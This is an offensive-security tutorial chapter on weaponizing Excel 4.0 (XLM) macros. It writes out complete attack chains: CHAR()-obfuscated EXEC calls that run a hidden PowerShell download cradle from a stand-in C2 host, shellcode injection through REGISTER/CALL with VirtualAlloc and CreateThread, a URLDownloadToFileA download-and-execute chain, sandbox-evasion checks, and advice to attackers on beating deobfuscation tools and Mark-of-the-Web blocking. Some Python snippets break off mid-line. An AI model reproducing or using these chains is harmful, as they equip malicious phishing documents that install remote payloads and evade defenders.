XLM (Excel 4.0) Macros
Excel 4.0 macros — also called XLM macros after the "Excel Macro" extension — were introduced in 1992. Microsoft left them working in modern Excel for backwards compatibility. For attackers, they offer something VBA cannot: they execute without the VBA engine (VBE7.DLL never loads), many AMSI implementations missed them entirely until 2021, and the code lives inside a specially named worksheet rather than a VBA module — meaning tools focused on VBA projects don't see them. Zloader, Qbot, and several APT groups used XLM macros precisely because the defender tooling lagged behind VBA detection by several years. This chapter explains the XLM execution model from first principles, teaches the full macro language, builds a complete weaponized chain with shellcode injection, covers obfuscation at every layer, and maps every detection event defenders use today.
Why XLM Matters — A Brief History
XLM (Excel Macro) was the original macro language for Microsoft Excel before VBA was introduced in Excel 5.0 (1993). It predates COM, predates VBScript, and predates essentially every modern scripting subsystem in Windows. Microsoft kept it functional for decades to avoid breaking legacy spreadsheets. The threat intelligence community started noticing widespread abuse in 2018–2020, when groups like TA505 and various banking trojans (Zloader, Ursnif variants) began using XLM macros in phishing campaigns specifically because:
- AMSI did not scan XLM formulas at all until the 2021 update (a multi-year blind spot)
- Tools like olevba that defenders relied on for VBA analysis did not parse XLM sheets
- Sandbox detonation systems that watched for VBE7.DLL loading as a "macro active" signal missed XLM entirely
- Many endpoint rules were written to detect specific VBA patterns, not XLM formula patterns
This multi-year detection lag is the core lesson: knowing the implementation details of defender tools lets you choose techniques they don't yet cover. XLM itself is now well-detected — but the principle applies to every chapter in this part.
XLM Execution Model — What Makes It Different
VBA macros:
─────────────────────────────────────────────────────────────────────────
Engine: VBE7.DLL (Visual Basic for Applications engine)
Loaded as a DLL into the Office process on first macro use
Storage: _VBA_PROJECT stream in CFBF/OLE compound document
Stored as zlib-compressed binary p-code + source text
Auto-exec: Auto_Open / Workbook_Open / AutoOpen subroutines
AMSI scan: Office loads amsi.dll, submits VBA source before execution
→ AMSI provider: AmsiScanBuffer receives the source text
Detection: olevba.py reads _VBA_PROJECT stream; VBA IDE shows code
Sysmon 7: VBE7.DLL loaded into EXCEL.EXE (strong signal)
XLM (Excel 4.0) macros:
─────────────────────────────────────────────────────────────────────────
Engine: Built directly into EXCEL.EXE — part of the Excel binary
No separate engine DLL; the parser is decades old C code
Storage: Regular sheet cells in a BIFF8 "Macro Sheet" worksheet
Formulas stored as binary BIFF8 formula records (ptg tokens)
Auto-exec: Named range "Auto_Open" pointing to a cell on a macro sheet
Excel reads named ranges at open, auto-executes this one
AMSI scan: Added via the "Excel 4.0 Macro AMSI" provider in 2021
Scans formula strings before evaluation
Coverage depends on Office patch level — not universal
Detection: No VBE7.DLL Sysmon 7 event; XLM uses the Excel engine
Specialized tool needed: XLMMacroDeobfuscator (2020+)
olevba detects macro sheet presence but can't deobfuscate
─────────────────────────────────────────────────────────────────────────
Timeline of detection catches:
─────────────────────────────────────────────────────────────────────────
1992: XLM introduced (Excel 4.0)
2000: VBA replaces XLM; most macros move to VBA
2018: Threat actors rediscover XLM — no AMSI coverage
2020: XLMMacroDeobfuscator released by DissectMalware
2021: Microsoft adds AMSI for XLM macros (July 2021, Office 365 update)
2022: Macro blocking by default (MOTW check) — applies to XLM and VBA
2024: XLM still works in: unpatched Office, MOTW bypass scenarios,
and as a reference for understanding how detection gaps formMacro Sheet Structure Inside the BIFF8 Format
XLM macros exist inside the Excel binary format as cells in a Macro Sheet. Understanding the storage format helps you read and manipulate the files at the binary level — useful for patching templates and understanding what analysis tools look for:
.xls file (BIFF8 compound document):
┌────────────────────────────────────────────────────────────────────────┐
│ OLE Compound File Binary Format (CFB) container │
│ ┌───────────────────────────────────────────────────────────────────┐ │
│ │ Workbook stream (main stream) │ │
│ │ BOF record (Book of File) — type=0x0085 (workbook global) │ │
│ │ SHEETHDR records — one per sheet │ │
│ │ SUPBOOK/EXTERNREF records — external references │ │
│ │ NAME records — named ranges (Auto_Open lives here!) │ │
│ │ BOF record — type=0x0085 for macro sheet (key marker) │ │
│ │ CODENAME record — sheet code name │ │
│ │ FORMULA records — each macro cell (row, col, formula binary) │ │
│ │ └── Each FORMULA contains: ptg (parse thing) tokens │ │
│ │ ptgFuncVar → variable argument function (EXEC, CALL etc.) │ │
│ │ ptgStr → string literal (the command/argument) │ │
│ │ ptgInt → integer constant (numeric argument) │ │
│ │ EOF record — end of macro sheet │ │
│ │ BOF record — type=0x0010 for regular sheet │ │
│ │ ... regular sheet records ... │ │
│ └───────────────────────────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────────────────────────┘
The BOF record type for macro sheet: 0x0085 with dt field = 0x0040
This is how XLMMacroDeobfuscator identifies sheets as macro sheets.
Macro sheet visibility field (BOUNDSHEET record):
offset 4 (1 byte): visibility
0x00 = Visible
0x01 = Hidden (user can unhide via Format > Sheet)
0x02 = VeryHidden (requires code or external tool to unhide)
Attacker sets this to 0x02 to prevent analyst from seeing sheet in UI.Auto-Execute — The Named Range Mechanism
The NAME record containing "Auto_Open" is stored in the Workbook global stream, before any sheet data. Excel reads all NAME records at load time and if it finds one called "Auto_Open" that resolves to a macro sheet cell, it queues that cell for execution after the workbook finishes loading:
import struct
# NAME record binary structure in BIFF8:
# Record ID: 0x0018
# Record Length: variable
# Fields:
# option flags (2 bytes) — 0x0020 = function macro name
# keyboard shortcut (1 byte)
# name length (1 byte)
# formula length (2 bytes)
# sheet index (2 bytes) — 0 = global name
# reserved (several bytes)
# name characters (variable)
# formula data (variable) — ptgRef3d points to the macro cell
# To read all named ranges from a .xls file manually:
def extract_named_ranges(xls_path):
import olefile
with olefile.OleFileIO(xls_path) as ole:
wb_data = ole.openstream('Workbook').read()
pos = 0
names = {}
while pos < len(wb_data):
rec_type, rec_len = struct.unpack_from('
XLM Language — Complete Function Reference
Execution and flow control:
────────────────────────────────────────────────────────────────────────
EXEC(program_text) Execute shell command (window=normal)
EXEC(program_text, style) Execute with window style: 1=normal, 0=hidden
SHELL(prog, style) Alias for EXEC()
HALT() Stop execution permanently; macro ends
RETURN() Return from a CALL()'d sub-macro
GOTO(cell_ref) Unconditional jump to another cell
IF(cond, t_expr, f_expr) Conditional; can nest GOTO() in branches
NEXT() End of a FOR() loop body
FOR(counter, start, end) Integer counting loop
WHILE(condition) Loop while condition is true
END.IF() End of an IF block (block form)
Windows API and DLL access:
────────────────────────────────────────────────────────────────────────
CALL(dll, func, type, ...) Call a DLL function directly
REGISTER(dll, func, type) Register function for repeated use
UNREGISTER(func_id) Unregister a previously registered function
Cell and formula manipulation:
────────────────────────────────────────────────────────────────────────
FORMULA(val, cell_ref) Write a value or formula into a cell
FORMULA.ARRAY(...) Write array formula
SET.NAME(name, value) Create or update a named range
GET.CELL(type, cell_ref) Read properties of a cell
ACTIVE.CELL() Reference to the current execution cell
Environment queries:
────────────────────────────────────────────────────────────────────────
GET.WORKSPACE(type) Query Excel/OS environment
1 → OS version string
13 → TRUE if window maximized
14 → Screen width in columns
15 → Screen height in rows
31 → TRUE if sound supported
42 → User name (from Windows)
44 → Processor count
76 → TRUE if mouse present
GET.DOCUMENT(type) Query workbook properties
1 → Workbook filename
87 → Sheet count
String functions:
────────────────────────────────────────────────────────────────────────
CHAR(num) Character from ASCII/Unicode code point
MID(text, start, len) Substring extraction
LEFT(text, len) Left substring
RIGHT(text, len) Right substring
LEN(text) String length
CONCATENATE(a,b,...) Join strings (or use & operator)
Miscellaneous:
────────────────────────────────────────────────────────────────────────
ALERT(msg, type) Message box (type: 1=OK, 2=Yes/No, 3=Yes/No/Cancel)
SLEEP(ms) Pause execution in milliseconds
NOW() Current date/time serial number
ISERROR(expr) TRUE if expr returns an errorFirst Working Macro — Execution from a Sheet
Here is the complete sequence of cells you would write into a Macro Sheet to execute a shell command. Think of each cell as a line of code, evaluated top to bottom:
MacroSheet column A — basic execution chain:
A1: =EXEC("cmd.exe /c calc.exe",0)
↓ executes calc.exe in a hidden window
A2: =HALT()
↓ stops the macro
Named range: Auto_Open → MacroSheet!$A$1
Sheet visibility: VeryHidden (0x02)
The detection profile for this: Excel opens → Sysmon 1 records EXCEL.EXE spawning cmd.exe → Sysmon 1 records cmd.exe spawning calc.exe. The chain is obvious and detectable. Everything that follows is about eliminating or hiding these signals:
CHAR()-Based String Obfuscation
The CHAR() function in XLM works exactly like Chr() in VBA: it converts an integer to a single character. By constructing every suspicious string character-by-character from CHAR() calls, you ensure that no static scan of the formula text ever sees the assembled string:
# Python helper: generate CHAR() formula for any string
def to_char_formula(s):
parts = [f"CHAR({ord(c)})" for c in s]
return "&".join(parts)
# Usage:
cmd = "cmd.exe /c powershell.exe -w h -ep bypass -c IEX(iwr 'http://c2/s.ps1')"
print(to_char_formula(cmd))
# Output (abbreviated):
# CHAR(99)&CHAR(109)&CHAR(100)&CHAR(46)&CHAR(101)&CHAR(120)&CHAR(101)
# &CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&CHAR(111)&CHAR(119)
# &CHAR(101)&CHAR(114)&CHAR(115)&CHAR(104)&CHAR(101)&CHAR(108)&CHAR(108)
# ... etc
# Place this inside EXEC():
# =EXEC(CHAR(99)&CHAR(109)&CHAR(100)&...)
Obfuscated macro sheet — EXEC with full CHAR() encoding:
A1: =EXEC(CHAR(99)&CHAR(109)&CHAR(100)&CHAR(46)&CHAR(101)&CHAR(120)&
CHAR(101)&CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&
CHAR(111)&CHAR(119)&CHAR(101)&CHAR(114)&CHAR(115)&CHAR(104)&
CHAR(101)&CHAR(108)&CHAR(108)&CHAR(46)&CHAR(101)&CHAR(120)&
CHAR(101)&CHAR(32)&CHAR(45)&CHAR(119)&CHAR(32)&CHAR(104)&
CHAR(32)&CHAR(45)&CHAR(99)&CHAR(32)&CHAR(73)&CHAR(69)&
CHAR(88)&CHAR(40)&CHAR(105)&CHAR(119)&CHAR(114)&CHAR(32)&
CHAR(39)&CHAR(104)&CHAR(116)&CHAR(116)&CHAR(112)&CHAR(58)&
CHAR(47)&CHAR(47)&CHAR(99)&CHAR(50)&CHAR(47)&CHAR(115)&
CHAR(46)&CHAR(112)&CHAR(115)&CHAR(49)&CHAR(39)&CHAR(41),0)
A2: =HALT()
Cell Spreading — Distributing Across the Sheet
A further layer: split the formula computation across many cells. Each cell produces a small piece of the string, and the final EXEC() cell concatenates them. A static scan of any single cell sees only an innocuous-looking fragment:
Multi-cell construction — each piece computed separately:
B1: =CHAR(99)&CHAR(109)&CHAR(100)&CHAR(46)&CHAR(101)&CHAR(120)&CHAR(101)
→ "cmd.exe"
B2: =CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)
→ " /c "
B3: =CHAR(112)&CHAR(111)&CHAR(119)&CHAR(101)&CHAR(114)&CHAR(115)&CHAR(104)
&CHAR(101)&CHAR(108)&CHAR(108)&CHAR(46)&CHAR(101)&CHAR(120)&CHAR(101)
→ "powershell.exe"
B4: =CHAR(32)&CHAR(45)&CHAR(119)&CHAR(32)&CHAR(104)&CHAR(32)&CHAR(45)
&CHAR(99)&CHAR(32)
→ " -w h -c "
B5: =CHAR(73)&CHAR(69)&CHAR(88)&CHAR(40)&CHAR(105)&CHAR(119)&CHAR(114)
&CHAR(32)&CHAR(39)&CHAR(104)&CHAR(116)&CHAR(116)&CHAR(112)&CHAR(58)
&CHAR(47)&CHAR(47)&CHAR(99)&CHAR(50)&CHAR(47)&CHAR(115)&CHAR(46)
&CHAR(112)&CHAR(115)&CHAR(49)&CHAR(39)&CHAR(41)
→ "IEX(iwr 'http://c2/s.ps1')"
A1: =EXEC(B1&B2&B3&B4&B5,0)
→ Assembles and executes at runtime
A2: =HALT()
Direct API Injection via CALL() — No Child Process
The most advanced XLM technique: avoid spawning any process entirely by calling kernel32 APIs directly from the macro to allocate RWX memory, copy shellcode into it, and create a thread. Everything happens inside EXCEL.EXE:
The third argument to CALL() / REGISTER() is a type string: ───────────────────────────────────────────────────────────────── Character │ Maps to │ Example API arg type ──────────┼────────────────────────────┼────────────────────────────── J │ LONG / DWORD (32-bit int) │ dwSize, flProtect, status I │ SHORT (16-bit int) │ flags, small counts P │ LPVOID / handle / pointer │ pvAddress, hHandle C │ LPSTR (string pointer) │ lpFileName, lpFunctionName H │ HANDLE (explicit) │ hModule, hProcess v │ void (no return) │ return type for void fns > │ asynchronous modifier │ prefix char for async calls ───────────────────────────────────────────────────────────────── Type string format: [return_type][arg1_type][arg2_type]... VirtualAlloc: LPVOID VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD) Type string: "PJJJJ" — P return, J lpAddress, J dwSize, J flAllocationType, J flProtect CreateThread: HANDLE CreateThread(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD) Type string: "JJJJJJJ" — J return, J lpThreadAttrib, J dwStackSize, J lpStartAddress, J lpParam, J dwCreationFlags, J lpThreadId (Note: actual handles use J here since HANDLE = 4 bytes in 32-bit / 8 bytes in 64-bit — P is safer for 64-bit)
Shellcode injection via CALL() — step by step (32-bit Excel):
Shellcode bytes pre-written to cells C1:C256 (one byte per cell):
C1: =144 ← 0x90 (NOP)
C2: =144 ← 0x90 (NOP)
C3: =195 ← 0xC3 (RET) — minimal test shellcode: NOP sled + ret
... (repeat for actual shellcode bytes)
Macro sheet (column A):
A1: =REGISTER("kernel32","VirtualAlloc","PJJJJ")
← stores registered function ID in A1
A2: =CALL(A1,0,4096,12288,64)
← VirtualAlloc(NULL, 4096, MEM_COMMIT|MEM_RESERVE=0x3000, PAGE_EXECUTE_READWRITE=0x40)
← A2 now holds the returned base address (a pointer value)
A3: =REGISTER("kernel32","RtlMoveMemory","vPPJ")
← void RtlMoveMemory(LPVOID dest, LPCVOID src, SIZE_T len)
A4: =CALL(A3,A2,C1,1)
← Copy 1 byte from C1 into A2+0 (first byte of shellcode)
NOTE: This copies the VALUE in C1 as a byte — actually more complex
Real approach: use WriteProcessMemory with a reference to the cells,
or pre-assemble the shellcode as a string and use RtlMoveMemory on it.
Simplified alternative — write shellcode as CHAR() string:
A1: =REGISTER("kernel32","VirtualAlloc","PJJJJ")
A2: =CALL(A1,0,256,12288,64)
← allocate 256 bytes RWX; address in A2
A3: =REGISTER("kernel32","RtlMoveMemory","vPCJ")
← "C" for the source = pass as CHAR() string
A4: =CALL(A3,A2,
CHAR(144)&CHAR(144)&CHAR(144)&CHAR(195),
4)
← Copy NOP NOP NOP RET (4 bytes) to the allocation
← For real shellcode: full CHAR() string of all bytes
A5: =REGISTER("kernel32","CreateThread","JJJJJJJ")
A6: =CALL(A5,0,0,A2,0,0,0)
← CreateThread(NULL,0,baseAddress,NULL,0,NULL) → executes shellcode
A7: =REGISTER("kernel32","WaitForSingleObject","JJJ")
A8: =CALL(A7,A6,15000)
← Wait up to 15 seconds for thread completion
A9: =HALT()
Download and Execute Chain with URLDownloadToFile
The most common real-world XLM delivery pattern: download a second-stage binary (an encrypted blob or a DLL) using Windows URL APIs, save to a temp path, then execute:
Full download-and-execute XLM chain:
A1: =REGISTER("urlmon","URLDownloadToFileA","JJCCJJ")
← Registers the download function; result stored in A1
A2: =CALL(A1,
0,
CHAR(104)&CHAR(116)&CHAR(116)&CHAR(112)&CHAR(115)&CHAR(58)&CHAR(47)
&CHAR(47)&CHAR(99)&CHAR(100)&CHAR(110)&CHAR(46)&CHAR(101)&CHAR(120)
&CHAR(97)&CHAR(109)&CHAR(112)&CHAR(108)&CHAR(101)&CHAR(46)&CHAR(99)
&CHAR(111)&CHAR(109)&CHAR(47)&CHAR(115)&CHAR(49)&CHAR(46)&CHAR(98)
&CHAR(105)&CHAR(110),
CHAR(37)&CHAR(84)&CHAR(69)&CHAR(77)&CHAR(80)&CHAR(37)&CHAR(92)
&CHAR(115)&CHAR(118)&CHAR(99)&CHAR(104)&CHAR(111)&CHAR(115)
&CHAR(116)&CHAR(51)&CHAR(50)&CHAR(46)&CHAR(98)&CHAR(105)&CHAR(110),
0,
0)
← URLDownloadToFileA(NULL, "https://cdn.example.com/s1.bin",
"%TEMP%\svchost32.bin", 0, NULL)
← A2 = 0 (S_OK) on success, non-zero on failure
A3: =IF(A2<>0,GOTO(A20),GOTO(A4))
← If download failed, skip to HALT; else continue
A4: =EXEC(CHAR(114)&CHAR(117)&CHAR(110)&CHAR(100)&CHAR(108)&CHAR(108)
&CHAR(51)&CHAR(50)&CHAR(46)&CHAR(101)&CHAR(120)&CHAR(101)&CHAR(32)
&CHAR(37)&CHAR(84)&CHAR(69)&CHAR(77)&CHAR(80)&CHAR(37)&CHAR(92)
&CHAR(115)&CHAR(118)&CHAR(99)&CHAR(104)&CHAR(111)&CHAR(115)
&CHAR(116)&CHAR(51)&CHAR(50)&CHAR(46)&CHAR(98)&CHAR(105)&CHAR(110)
&CHAR(44)&CHAR(82)&CHAR(117)&CHAR(110)&CHAR(83)&CHAR(104)&CHAR(101)
&CHAR(108)&CHAR(108)&CHAR(67)&CHAR(111)&CHAR(100)&CHAR(101),0)
← EXEC("rundll32.exe %TEMP%\svchost32.bin,RunShellCode",0)
A20: =HALT()
Sandbox Evasion via GET.WORKSPACE
GET.WORKSPACE lets you query the Excel runtime environment before executing the payload. Sandboxes typically have fewer CPUs, smaller screens, no mouse, and system uptime that's too short or too exact:
Sandbox evasion chain (column A, before payload starts):
A1: =IF(GET.WORKSPACE(44)<2,GOTO(A50),GOTO(A2))
← Abort if less than 2 CPUs (sandboxes often have 1 vCPU)
A2: =IF(GET.WORKSPACE(14)<10,GOTO(A50),GOTO(A3))
← Abort if screen width < 10 (headless environments return small values)
A3: =IF(GET.WORKSPACE(76)=FALSE,GOTO(A50),GOTO(A4))
← Abort if no mouse (automated sandboxes often report no mouse)
A4: =IF(GET.WORKSPACE(31)=FALSE,GOTO(A50),GOTO(A5))
← Abort if no audio (cuckoo sandbox often has no audio device)
A5: =IF(LEN(GET.WORKSPACE(42))<3,GOTO(A50),GOTO(A10))
← Abort if username is very short (sandbox usernames: "user", "a")
← Real enterprise usernames: "jsmith", "john.smith", etc.
A10: [payload starts here]
...
A50: =HALT()
← Silent exit — sandbox sees nothing happen
Creating XLM Weaponized Files
Via Excel UI (Fastest for Testing)
Steps:
1. Open Excel → New Workbook
2. Right-click a sheet tab → Insert → MS Excel 4.0 Macro Sheet
(If hidden: File → Options → Advanced → "For Excel features that are not
ribbonized, show them in the following Ribbon tab" → check Developer)
3. In the macro sheet, type XLM formulas into column A (each cell = one statement)
4. Formulas → Name Manager → New → Name: "Auto_Open" → Refers to: =MacroSheet!$A$1
5. Right-click macro sheet tab → Hide (or: Format > Sheet > Hide)
6. Save as: "Excel 97-2003 Workbook (.xls)"
Testing: close the file, reopen it. If "Enable macros" is clicked, A1 runs first.
Via Python (Repeatable, Automatable)
"""
Create XLM macro .xls using xlrd + xlwt + struct manipulation.
Simplest approach: patch a pre-built template's formula string bytes.
"""
import struct
def read_xls_records(filename):
"""Parse BIFF8 records from .xls Workbook stream."""
import olefile
with olefile.OleFileIO(filename) as ole:
data = ole.openstream('Workbook').read()
records = []
pos = 0
while pos < len(data) - 4:
rec_type = struct.unpack_from('
Detection Footprint and Defender Tooling
Detection source │ Event / Signal │ Triggered by
──────────────────────────┼─────────────────────────────────────────┼────────────────────────
Sysmon 7 (DLL load) │ VBE7.DLL loaded into EXCEL.EXE │ NOT triggered by XLM
Sysmon 7 (DLL load) │ urlmon.dll / wininet.dll into EXCEL.EXE │ CALL(urlmon,...) or download
Sysmon 1 (process) │ EXCEL.EXE → cmd.exe │ EXEC("cmd.exe ...",0)
Sysmon 1 (process) │ EXCEL.EXE → powershell.exe │ EXEC("powershell...")
Sysmon 11 (file) │ %TEMP%\svchost32.bin created │ URLDownloadToFileA call
Sysmon 3 (network) │ EXCEL.EXE → outbound HTTPS │ URLDownloadToFileA
Sysmon 22 (DNS) │ DNS query for C2 domain │ Any outbound connection
EDR memory event │ EXCEL.EXE: VirtualAlloc(RWX) │ CALL(VirtualAlloc,...)
EDR memory event │ EXCEL.EXE: unbacked CreateThread │ CALL(CreateThread, shellcode_addr)
AMSI (2021+) │ XLM formula content scan │ On formula evaluation
olevba.py │ Detects presence of macro sheet │ BOF record type = macro sheet
XLMMacroDeobfuscator │ Deobfuscates CHAR() chains, follows GOTO│ Static analysis of BIFF8
──────────────────────────┴─────────────────────────────────────────┴────────────────────────
Technique vs. detection event avoided:
─────────────────────────────────────────────────────────────────────────────────
CHAR() obfuscation → defeats static AMSI/AV string matching
Cell spreading → defeats per-cell pattern matching
GET.WORKSPACE sandbox check → defeats automated sandbox detonation
CALL() API injection (no EXEC) → defeats parent-child process analysis
VeryHidden sheet → defeats manual UI inspection by analyst
REGISTER() + deferred CALL() → defeats CALL("kernel32","VirtualAlloc") patternsQuestions & Answers
Why does XLM not work in .xlsx files?
.xlsx is a ZIP archive containing XML files — the "Office Open XML" format introduced in Office 2007. XLM macros are a BIFF8-era binary format feature that predates Open XML by over a decade. Microsoft did not implement XLM support in the Open XML specification. The Office formats that support XLM are exclusively binary legacy formats: .xls (BIFF5/8), .xlsb (Binary Workbook format), .xlam/.xla (Excel Add-in binary format). Sending a .xls file in 2024 is itself a mild anomaly (most modern spreadsheets are .xlsx), and defenders may use the file extension or MIME type as a signal. Some campaigns rename .xls to .xlsx hoping email gateways check extension not content — but if the gateway inspects the actual file header (which identifies it as CFBF, not a ZIP), the extension trick is caught.
What is XLMMacroDeobfuscator and what does it detect?
XLMMacroDeobfuscator (github.com/DissectMalware/XLMMacroDeobfuscator) is a Python tool that statically parses the binary BIFF8 format of .xls/.xlsb files, extracts the FORMULA records from macro sheets, decodes the ptg (parse thing) token sequences back into readable formulas, and then emulates their execution — following GOTO() calls, evaluating CHAR() concatenations, and substituting GET.WORKSPACE() with configurable environment parameters. The output is a deobfuscated view of what commands EXEC() would run and what strings the macro assembles. Defenders run it in automated analysis pipelines. As an attacker, knowing this tool exists means: (1) your CHAR() obfuscation must be multi-layer to survive emulation; (2) GET.WORKSPACE() sandbox checks should use values that XLMMacroDeobfuscator's default environment wouldn't satisfy.
Can CALL() injection inside Excel avoid EDR detection?
CALL()-based injection eliminates the parent-child process chain detection (no cmd.exe or powershell.exe spawned). The remaining EDR detection paths are: (1) API monitoring — EDRs hook VirtualAlloc, VirtualProtect, and CreateThread via kernel callbacks or DLL injection. When EXCEL.EXE calls VirtualAlloc(RWX), the EDR sees it regardless of whether you called it from VBA or XLM. (2) Behavioral analysis — EXCEL.EXE creating a thread at an address in a manually allocated RWX region (not backed by any file on disk) is a high-confidence indicator of shellcode injection, regardless of how the allocation was initiated. The CALL() technique shifts detection away from process-level rules and toward memory/API-level rules. Against a basic Sysmon+SIEM deployment, it's very effective. Against a mature EDR with userspace API hooking, it's less so.
What happens if the Excel version doesn't support REGISTER()?
REGISTER() is a core XLM function that has been in Excel since version 4.0. It works in all versions of Excel from 1992 through 2024 (including Excel 365) as long as XLM macros are enabled. The version mismatch risk doesn't apply here the way it does with VBA p-code — XLM formulas are re-evaluated at runtime every time, not compiled to version-specific bytecode. The more practical concern is whether the specific DLL function you're calling exists on the target system. URLDownloadToFileA requires urlmon.dll (part of IE/WinInet, available on essentially all Windows installations). VirtualAlloc, CreateThread, etc. are in kernel32.dll (always available). If a function doesn't exist, REGISTER() returns an error value that ISERROR() can detect for graceful failure.
Is XLM still useful after Microsoft's 2022 macro blocking change?
Partially. The 2022 change blocks macros (VBA and XLM) in documents that have a Mark of the Web (MOTW) Zone.Identifier ADS — meaning documents downloaded from the internet via a browser or email client. XLM macros remain viable for: (1) delivery via channels that don't apply MOTW (SMB file shares, intranet portals, SharePoint with trusted site configuration, physical USB); (2) targets on older, unpatched Office versions that haven't received the blocking change; (3) delivery via container formats (ISO, ZIP password-protected) where some Windows versions don't propagate MOTW into the container contents. Beyond direct exploitation, understanding XLM is valuable for reading threat intelligence (many campaigns from 2018–2022 used XLM) and for understanding how detection gaps in complex legacy systems get exploited.